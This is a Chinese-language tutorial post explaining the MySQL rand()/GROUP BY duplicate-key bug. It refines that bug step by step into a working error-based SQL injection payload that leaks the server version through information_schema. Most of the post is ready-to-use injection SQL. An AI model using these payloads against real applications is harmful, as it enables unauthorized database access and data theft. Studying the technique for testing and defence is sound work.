國內只有一大堆高級爆錯的利用代碼 沒人分析原因 這個是去官網查資料後分析給出的。 這裏主要用了mysql的一個BUG
:http://bugs.mysql.com/bug.php?id=8652grouping on certain parts of the result from rand, causes a duplicate
key error.
重現過程
use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1) ,a, count(*) from r1 group by 1;
於是便可以這樣拿來爆錯注入了。
select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
嘗試拿來實戰
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示錯誤 選擇的列應該爲一個。那麼。我們換一下
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias
提示多表查詢要有別名 那好辦
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了